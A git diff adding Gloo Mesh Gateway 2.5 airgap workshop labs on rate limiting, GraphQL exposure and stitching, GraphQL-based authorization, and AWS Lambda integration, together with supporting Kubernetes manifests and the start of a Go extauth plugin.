Gateway dynamically using metadata generated by OPA. + +First, we need to create a `RateLimitServerConfig` object to define a default limit: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("Rate limiting is working properly", function() { + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'api-key', value: '123'}], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dynamic-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 5 time and a `429` response code after. + +And also delete the different objects we've created: +```bash +kubectl --context ${CLUSTER1} -n httpbin delete ratelimitpolicy httpbin +kubectl --context ${CLUSTER1} -n httpbin delete ratelimitserverconfig httpbin +``` + + + + + +## Lab 14 - Expose the bookinfo application through GraphQL +[VIDEO LINK](https://youtu.be/ucVMxX8oFz0 "Video Link") + +Gloo Mesh is enhancing the Istio Ingress Gateway to allow exposing some REST services as a GraphQL API. + +First, you need to create an `ApiDoc` to define your GraphQL API: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +var chai = require('chai'); +var expect = chai.expect; +chai.use(chaiExec); + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +describe("GraphQL", function() { + it('GraphQL query returning the expected output', function () { + + let command = `curl -ks "https://cluster1-bookinfo.example.com/graphql" --data '{"query":" {productsForHome { title ratings {reviewer numStars}}}"}'` + let cli = chaiExec(command); + expect(cli).to.exit.with.code(0); + expect(cli).output.to.contain('{"data":{"productsForHome":[{"title":"The Comedy of Errors","ratings":[{"reviewer":"Reviewer1","numStars":5},{"reviewer":"Reviewer2","numStars":4}]}]}}'); + }) +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-graphql/tests/graphql.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Create the following `CORSPolicy` to allow using the GraphQL explorer from the Gloo Mesh UI: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/CuTOrhJNIVs "Video Link") + +In this lab, we're going to expose and External REST API as a GraphQL API and then to stitch is with the GraphQL API we've created previously. + +First, you need to create an `ApiDoc` to define your GraphQL API: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +var chai = require('chai'); +var expect = chai.expect; +chai.use(chaiExec); + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +describe("GraphQL", function() { + it('GraphQL query returning the expected output', function () { + + let command = `curl -ks "https://cluster1-bookinfo.example.com/openlibrary" --data '{"query":"{product(title: \\"The Comedy of Errors\\"){title languages}}"}'` + let cli = chaiExec(command); + expect(cli).to.exit.with.code(0); + expect(cli).output.to.contain('{"data":{"product":{"title":"The Comedy of Errors","languages":["chi","dut","eng","esp","fin","fre","ger","heb","ita","mul","nor","slo","spa","tsw","tur","und"]}}}'); + }) +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-graphql-stitching/tests/graphql.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's now stitch together the 2 GraphQL API. + +For this, you need to create a `GraphQLStitchedSchema` which references the 2 existing `GraphQLSchema` and how to merge them: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +var chai = require('chai'); +var expect = chai.expect; +chai.use(chaiExec); + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +describe("GraphQL stitched", function() { + it('GraphQL query returning the expected output', function () { + + let command = `curl -ks "https://cluster1-bookinfo.example.com/graphql-stitched" --data '{"query":" {productsForHome { title languages ratings {reviewer numStars}}}"}'` + let cli = chaiExec(command); + expect(cli).to.exit.with.code(0); + expect(cli).output.to.contain('{"data":{"productsForHome":[{"title":"The Comedy of Errors","languages":["chi","dut","eng","esp","fin","fre","ger","heb","ita","mul","nor","slo","spa","tsw","tur","und"],"ratings":[{"reviewer":"Reviewer1","numStars":5},{"reviewer":"Reviewer2","numStars":4}]}]}}'); + }) +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-graphql-stitching/tests/graphql-stitched.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Apply rate limiting and authorization based on GraphQL queries/mutations + +In this lab, we're going to apply some rate limits and authorization based on GraphQL queries/mutations. + +To do so, we need to automatically create new headers and Envoy dynamic metadata for each query/mutation contained in a request. + +Let's deploy an extauth plugin which is going to perform this operation. + +```bash +kubectl apply --context ${CLUSTER1} -f - < + +We have exposed the `product` and `productsForHome` queries so far, so here are the header which will potentially be created: +- X-Graphql-Query-Mutation-Product +- X-Graphql-Query-Mutation-ProductsForHome + +We can use the new headers to apply rate limiting. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Rate limiting is working properly", () => { + const command = `curl -ks "https://cluster1-bookinfo.example.com/graphql-stitched" --data '{"query":"{productsForHome { title languages ratings {reviewer numStars}}}"}' -X POST -o /dev/null -w "%{http_code}"`; + it('Got the expected status code 429', () => helpers.genericCommand({ command: command, responseContains: "429" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-graphql-rate-limiting-and-authorization/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Try to access the GraphQL API multiple times: + +``` +curl -ks "https://cluster1-bookinfo.example.com/graphql-stitched" --data '{"query":"{productsForHome { title languages ratings {reviewer numStars}}}"}' -X POST -o /dev/null -w "%{http_code}" +``` + + + +The fourth request should be denied (code 429). + +We can also apply authorization based on the GraphQL query/mutation. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Authorization is working properly", () => { + const command = `curl -ks "https://cluster1-bookinfo.example.com/openlibrary" --data '{"query":"{product(title: \\"The Comedy of Errors\\"){title languages}}"}' -X POST -o /dev/null -w "%{http_code}"`; + it('Got the expected status code 403', () => helpers.genericCommand({ command: command, responseContains: "403" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-graphql-rate-limiting-and-authorization/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Try to access the `product` GraphQL query: + +``` +curl -ks "https://cluster1-bookinfo.example.com/openlibrary" --data '{"query":"{product(title: \"The Comedy of Errors\"){title languages}}"}' -X POST -o /dev/null -w "%{http_code}" +``` + +The request should be denied (code 403). + +You can build more complex authorization rules. Here is a typical authorization workflow you can build: +- authenticate the user with OIDC (adding a first step in the `ExtAuthPolicy`). +- create a new header from a claim of the JWT Identity Token generated by the OIDC workflow. For example, create a header `X-Email` based on the user email. +- allow only users from a specific company (using the domain of the email name) to use a particular query. + + + + +## Lab 17 - Deploy the Amazon pod identity webhook + +To use the AWS Lambda integration, we need to deploy the Amazon EKS pod identity webhook. + +A prerequisite is to install [Cert Manager](https://cert-manager.io/): + +```bash +wget https://github.com/cert-manager/cert-manager/releases/download/v1.12.4/cert-manager.yaml +sed -i 's/quay.io/localhost:5000/g' cert-manager.yaml + +kubectl --context ${CLUSTER1} apply -f cert-manager.yaml +``` + +Wait for cert-manager to be running: + +```bash +kubectl --context ${CLUSTER1} -n cert-manager rollout status deploy cert-manager +kubectl --context ${CLUSTER1} -n cert-manager rollout status deploy cert-manager-cainjector +kubectl --context ${CLUSTER1} -n cert-manager rollout status deploy cert-manager-webhook +``` + +Now, you can install the Amazon EKS pod identity webhook: + +```bash +sed -i 's/image: /image: localhost:5000\//g' data/steps/deploy-amazon-pod-identity-webhook/deployment-base.yaml + +kubectl --context ${CLUSTER1} apply -f data/steps/deploy-amazon-pod-identity-webhook +``` + +Wait for the pod identity webhook to be running: + +```bash +kubectl --context ${CLUSTER1} rollout status deploy/pod-identity-webhook +``` + + + + +## Lab 18 - Execute Lambda functions +[VIDEO LINK](https://youtu.be/gD6GLMlP-Qc "Video Link") + +First of all, you need to annotate the service account used by the Istio ingress gateway to allow it to assume an AWS role which can invoke the `echo` Lambda function: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways annotate sa -l istio=ingressgateway "eks.amazonaws.com/role-arn=arn:aws:iam::253915036081:role/lambda-workshop" +kubectl --context ${CLUSTER1} -n istio-gateways rollout restart deploy $(kubectl --context ${CLUSTER1} -n istio-gateways get deploy -l istio=ingressgateway -o jsonpath='{.items[0].metadata.name}') +``` + +Then, you can create a `CloudProvider` object corresponding to the AWS role: + +```bash +kubectl apply --context ${MGMT} -f - < { + return event; +}; +``` + +You should now be able to invoke the Lambda function using the following command: + +```bash +curl -k "https://cluster1-httpbin.example.com/lambda" | jq . +``` + +You should get a response like below: + +```js,nocopy +{ + "headers": { + ":authority": "172.19.2.1", + ":method": "GET", + ":path": "/lambda", + ":scheme": "https", + "accept": "*/*", + "user-agent": "curl/7.81.0", + "x-envoy-decorator-operation": "dummy-route-o4bo-WppHSxD6Ox2.badHost.solo.io:8443/lambda*", + "x-envoy-internal": "true", + "x-envoy-peer-metadata": "ChQKDkFQUF9DT05UQUlORVJTEgIaAAoYCgpDTFVTVEVSX0lEEgoaCGNsdXN0ZXIxCh0KDElOU1RBTkNFX0lQUxINGgsxMC4xMDIuMC4zMAoeCg1JU1RJT19WRVJTSU9OEg0aCzEuMTUuNC1zb2xvCrkDCgZMQUJFTFMSrgMqqwMKHQoDYXBwEhYaFGlzdGlvLWluZ3Jlc3NnYXRld2F5CjYKKWluc3RhbGwub3BlcmF0b3IuaXN0aW8uaW8vb3duaW5nLXJlc291cmNlEgkaB3Vua25vd24KGQoFaXN0aW8SEBoOaW5ncmVzc2dhdGV3YXkKFgoMaXN0aW8uaW8vcmV2EgYaBDEtMTUKMAobb3BlcmF0b3IuaXN0aW8uaW8vY29tcG9uZW50EhEaD0luZ3Jlc3NHYXRld2F5cwohChFwb2QtdGVtcGxhdGUtaGFzaBIMGgo1ZjU1NjVmNjU0ChIKCHJldmlzaW9uEgYaBDEtMTUKOQofc2VydmljZS5pc3Rpby5pby9jYW5vbmljYWwtbmFtZRIWGhRpc3Rpby1pbmdyZXNzZ2F0ZXdheQovCiNzZXJ2aWNlLmlzdGlvLmlvL2Nhbm9uaWNhbC1yZXZpc2lvbhIIGgZsYXRlc3QKIQoXc2lkZWNhci5pc3Rpby5pby9pbmplY3QSBhoEdHJ1ZQonChl0b3BvbG9neS5pc3Rpby5pby9uZXR3b3JrEgoaCGNsdXN0ZXIxChIKB01FU0hfSUQSBxoFbWVzaDEKNAoETkFNRRIsGippc3Rpby1pbmdyZXNzZ2F0ZXdheS0xLTE1LTVmNTU2NWY2NTQtbXBkdzUKHQoJTkFNRVNQQUNFEhAaDmlzdGlvLWdhdGV3YXlzCmQKBU9XTkVSElsaWWt1YmVybmV0ZXM6Ly9hcGlzL2FwcHMvdjEvbmFtZXNwYWNlcy9pc3Rpby1nYXRld2F5cy9kZXBsb3ltZW50cy9pc3Rpby1pbmdyZXNzZ2F0ZXdheS0xLTE1ChcKEVBMQVRGT1JNX01FVEFEQVRBEgIqAAosCg1XT1JLTE9BRF9OQU1FEhsaGWlzdGlvLWluZ3Jlc3NnYXRld2F5LTEtMTU=", + "x-envoy-peer-metadata-id": "router~10.102.0.30~istio-ingressgateway-1-15-5f5565f654-mpdw5.istio-gateways~istio-gateways.svc.cluster.local", + "x-forwarded-for": "10.102.0.1", + "x-forwarded-proto": "https", + "x-request-id": "79cccfc1-beab-4249-b6ad-d71a410aff5f" + }, + "httpMethod": "GET", + "path": "/lambda", + "queryString": "" +} +``` + +It's very similar to what the `httpbin` application provides. It displays information about the request is has received. + + +But when a Lambda function is exposed through an AWS API Gateway, the response of the function should be in a specific format (see this [example](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-create-api-as-simple-proxy-for-lambda.html)). + +The Gloo Gateway integration has the ability to understand this format and to process the response in the same way an AWS API gateway would. + +Here is the Node.js Lambda function we're going to use to demonstrate this capability: + +```js,nocopy +export const handler = async(event) => { + const response = { + "statusCode": 201, + "headers": { + "key": "value" + }, + "isBase64Encoded": false, + "multiValueHeaders": { + "X-Custom-Header": ["My value", "My other value"], + }, + "body": JSON.stringify({TotalCodeSize: 104330022,FunctionCount: 26}) + } + return response; +}; +``` +Let's update the `RouteTable`: +```bash +kubectl apply --context ${CLUSTER1} -f - < + + +Let's remove the annotation and restart the pods: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways annotate sa -l istio=ingressgateway "eks.amazonaws.com/role-arn-" +kubectl --context ${CLUSTER1} -n istio-gateways rollout restart deploy $(kubectl --context ${CLUSTER1} -n istio-gateways get deploy -l istio=ingressgateway -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh annotate sa -l app=gloo-mesh-mgmt-server "eks.amazonaws.com/role-arn-" +kubectl --context ${MGMT} -n gloo-mesh rollout restart deploy gloo-mesh-mgmt-server +``` + +And also delete the different objects we've created: + +```bash +kubectl --context ${MGMT} -n gloo-mesh delete cloudprovider aws +``` + + + + + + diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/.gitkeep b/gloo-mesh/gateway/2-5/airgap/advanced/data/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/auth.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/auth.yaml new file mode 100644 index 0000000000..369436c244 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/auth.yaml @@ -0,0 +1,78 @@ +apiVersion: v1 +kind: ServiceAccount +metadata: + name: pod-identity-webhook + namespace: default +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: pod-identity-webhook + namespace: default +rules: +- apiGroups: + - "" + resources: + - secrets + verbs: + - create +- apiGroups: + - "" + resources: + - secrets + verbs: + - get + - update + - patch + resourceNames: + - "pod-identity-webhook" +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: pod-identity-webhook + namespace: default +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: pod-identity-webhook +subjects: +- kind: ServiceAccount + name: pod-identity-webhook + namespace: default +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: pod-identity-webhook +rules: +- apiGroups: + - "" + resources: + - serviceaccounts + verbs: + - get + - watch + - list +- apiGroups: + - certificates.k8s.io + resources: + - certificatesigningrequests + verbs: + - create + - get + - list + - watch +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: pod-identity-webhook +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: pod-identity-webhook +subjects: +- kind: ServiceAccount + name: pod-identity-webhook + namespace: default diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/deployment-base.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/deployment-base.yaml new file mode 100644 index 0000000000..d5c8e6c384 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/deployment-base.yaml @@ -0,0 +1,63 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: pod-identity-webhook + namespace: default +spec: + replicas: 1 + selector: + matchLabels: + app: pod-identity-webhook + template: + metadata: + labels: + app: pod-identity-webhook + spec: + serviceAccountName: pod-identity-webhook + containers: + - name: pod-identity-webhook + image: amazon/amazon-eks-pod-identity-webhook:v0.5.0 + imagePullPolicy: Always + command: + - /webhook + - --in-cluster=false + - --namespace=default + - --service-name=pod-identity-webhook + - --annotation-prefix=eks.amazonaws.com + - --token-audience=sts.amazonaws.com + - --logtostderr + volumeMounts: + - name: cert + mountPath: "/etc/webhook/certs" + readOnly: true + volumes: + - name: cert + secret: + secretName: pod-identity-webhook-cert +--- +apiVersion: cert-manager.io/v1 +kind: ClusterIssuer +metadata: + name: selfsigned +spec: + selfSigned: {} +--- +apiVersion: cert-manager.io/v1 +kind: Certificate +metadata: + name: pod-identity-webhook + namespace: default +spec: + secretName: pod-identity-webhook-cert + commonName: "pod-identity-webhook.default.svc" + dnsNames: + - "pod-identity-webhook" + - "pod-identity-webhook.default" + - "pod-identity-webhook.default.svc" + - "pod-identity-webhook.default.svc.local" + isCA: true + duration: 2160h # 90d + renewBefore: 360h # 15d + issuerRef: + name: selfsigned + kind: ClusterIssuer diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/mutatingwebhook.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/mutatingwebhook.yaml new file mode 100644 index 0000000000..c8e66e7325 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/mutatingwebhook.yaml @@ -0,0 +1,22 @@ +apiVersion: admissionregistration.k8s.io/v1 +kind: MutatingWebhookConfiguration +metadata: + name: pod-identity-webhook + namespace: default + annotations: + cert-manager.io/inject-ca-from: default/pod-identity-webhook +webhooks: +- name: pod-identity-webhook.amazonaws.com + failurePolicy: Ignore + clientConfig: + service: + name: pod-identity-webhook + namespace: default + path: "/mutate" + rules: + - operations: [ "CREATE" ] + apiGroups: [""] + apiVersions: ["v1"] + resources: ["pods"] + sideEffects: None + admissionReviewVersions: ["v1beta1"] diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/service.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/service.yaml new file mode 100644 index 0000000000..4db1f51448 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-amazon-pod-identity-webhook/service.yaml @@ -0,0 +1,15 @@ +apiVersion: v1 +kind: Service +metadata: + name: pod-identity-webhook + namespace: default + annotations: + prometheus.io/port: "443" + prometheus.io/scheme: "https" + prometheus.io/scrape: "true" +spec: + ports: + - port: 443 + targetPort: 443 + selector: + app: pod-identity-webhook diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/details-v1.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/details-v1.yaml new file mode 100644 index 0000000000..d35c80903f --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/details-v1.yaml @@ -0,0 +1,64 @@ +# Copyright Istio Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +################################################################################################## +# Details service +################################################################################################## +apiVersion: v1 +kind: Service +metadata: + name: details + labels: + app: details + service: details +spec: + ports: + - port: 9080 + name: http + selector: + app: details +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: bookinfo-details + labels: + account: details +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: details-v1 + labels: + app: details + version: v1 +spec: + replicas: 1 + selector: + matchLabels: + app: details + version: v1 + template: + metadata: + labels: + app: details + version: v1 + spec: + serviceAccountName: bookinfo-details + containers: + - name: details + image: docker.io/istio/examples-bookinfo-details-v1:1.18.0 + imagePullPolicy: IfNotPresent + ports: + - containerPort: 9080 diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/productpage-v1.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/productpage-v1.yaml new file mode 100644 index 0000000000..8c90061b39 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/productpage-v1.yaml @@ -0,0 +1,79 @@ +# Copyright Istio Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +################################################################################################## +# Productpage services +################################################################################################## +apiVersion: v1 +kind: Service +metadata: + name: productpage + labels: + app: productpage + service: productpage +spec: + ports: + - port: 9080 + name: http + selector: + app: productpage +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: bookinfo-productpage + labels: + account: productpage +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: productpage-v1 + labels: + app: productpage + version: v1 +spec: + replicas: 1 + selector: + matchLabels: + app: productpage + version: v1 + template: + metadata: + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "9080" + prometheus.io/path: "/metrics" + labels: + app: productpage + version: v1 + spec: + serviceAccountName: bookinfo-productpage + containers: + - name: productpage + image: docker.io/istio/examples-bookinfo-productpage-v1:1.18.0 + imagePullPolicy: IfNotPresent + ports: + - containerPort: 9080 + volumeMounts: + - name: tmp + mountPath: /tmp + env: + - name: DETAILS_HOSTNAME + value: details.bookinfo-backends.svc.cluster.local + - name: REVIEWS_HOSTNAME + value: reviews.bookinfo-backends.svc.cluster.local + volumes: + - name: tmp + emptyDir: {} diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/ratings-v1.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/ratings-v1.yaml new file mode 100644 index 0000000000..f8053b9ae5 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/ratings-v1.yaml @@ -0,0 +1,64 @@ +# Copyright Istio Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +################################################################################################## +# Ratings service +################################################################################################## +apiVersion: v1 +kind: Service +metadata: + name: ratings + labels: + app: ratings + service: ratings +spec: + ports: + - port: 9080 + name: http + selector: + app: ratings +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: bookinfo-ratings + labels: + account: ratings +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: ratings-v1 + labels: + app: ratings + version: v1 +spec: + replicas: 1 + selector: + matchLabels: + app: ratings + version: v1 + template: + metadata: + labels: + app: ratings + version: v1 + spec: + serviceAccountName: bookinfo-ratings + containers: + - name: ratings + image: docker.io/istio/examples-bookinfo-ratings-v1:1.18.0 + imagePullPolicy: IfNotPresent + ports: + - containerPort: 9080 diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/reviews-v1-v2.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/reviews-v1-v2.yaml new file mode 100644 index 0000000000..d5e515e132 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/reviews-v1-v2.yaml @@ -0,0 +1,117 @@ +# Copyright Istio Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +################################################################################################## +# Reviews service +################################################################################################## +apiVersion: v1 +kind: Service +metadata: + name: reviews + labels: + app: reviews + service: reviews +spec: + ports: + - port: 9080 + name: http + selector: + app: reviews +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: bookinfo-reviews + labels: + account: reviews +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: reviews-v1 + labels: + app: reviews + version: v1 +spec: + replicas: 1 + selector: + matchLabels: + app: reviews + version: v1 + template: + metadata: + labels: + app: reviews + version: v1 + spec: + serviceAccountName: bookinfo-reviews + containers: + - name: reviews + image: docker.io/istio/examples-bookinfo-reviews-v1:1.18.0 + imagePullPolicy: IfNotPresent + env: + - name: LOG_DIR + value: "/tmp/logs" + ports: + - containerPort: 9080 + volumeMounts: + - name: tmp + mountPath: /tmp + - name: wlp-output + mountPath: /opt/ibm/wlp/output + volumes: + - name: wlp-output + emptyDir: {} + - name: tmp + emptyDir: {} +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: reviews-v2 + labels: + app: reviews + version: v2 +spec: + replicas: 1 + selector: + matchLabels: + app: reviews + version: v2 + template: + metadata: + labels: + app: reviews + version: v2 + spec: + serviceAccountName: bookinfo-reviews + containers: + - name: reviews + image: docker.io/istio/examples-bookinfo-reviews-v2:1.18.0 + imagePullPolicy: IfNotPresent + env: + - name: LOG_DIR + value: "/tmp/logs" + ports: + - containerPort: 9080 + volumeMounts: + - name: tmp + mountPath: /tmp + - name: wlp-output + mountPath: /opt/ibm/wlp/output + volumes: + - name: wlp-output + emptyDir: {} + - name: tmp + emptyDir: {} diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/reviews-v3.yaml b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/reviews-v3.yaml new file mode 100644 index 0000000000..d935c939b3 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/deploy-bookinfo/reviews-v3.yaml @@ -0,0 +1,56 @@ +# Copyright Istio Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +################################################################################################## +# Reviews service +################################################################################################## +apiVersion: apps/v1 +kind: Deployment +metadata: + name: reviews-v3 + labels: + app: reviews + version: v3 +spec: + replicas: 1 + selector: + matchLabels: + app: reviews + version: v3 + template: + metadata: + labels: + app: reviews + version: v3 + spec: + serviceAccountName: bookinfo-reviews + containers: + - name: reviews + image: docker.io/istio/examples-bookinfo-reviews-v3:1.18.0 + imagePullPolicy: IfNotPresent + env: + - name: LOG_DIR + value: "/tmp/logs" + ports: + - containerPort: 9080 + volumeMounts: + - name: tmp + mountPath: /tmp + - name: wlp-output + mountPath: /opt/ibm/wlp/output + volumes: + - name: wlp-output + emptyDir: {} + - name: tmp + emptyDir: {} diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/gateway-graphql-rate-limiting-and-authorization/auth.go b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/gateway-graphql-rate-limiting-and-authorization/auth.go new file mode 100644 index 0000000000..83e78919f0 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/data/steps/gateway-graphql-rate-limiting-and-authorization/auth.go @@ -0,0 +1,130 @@ +package v3 + +import ( + "context" + "encoding/json" + "log" + "strings" + + envoy_api_v3_core "github.com/envoyproxy/go-control-plane/envoy/config/core/v3" + "github.com/golang/protobuf/ptypes/wrappers" + + envoy_service_auth_v3 "github.com/envoyproxy/go-control-plane/envoy/service/auth/v3" + "google.golang.org/genproto/googleapis/rpc/code" + "google.golang.org/genproto/googleapis/rpc/status" + + "github.com/graphql-go/graphql/language/ast" + "github.com/graphql-go/graphql/language/parser" + "github.com/graphql-go/graphql/language/source" + + structpb "github.com/golang/protobuf/ptypes/struct" +) + +type server struct { +} + +type GraphQLRequest struct { + Query string 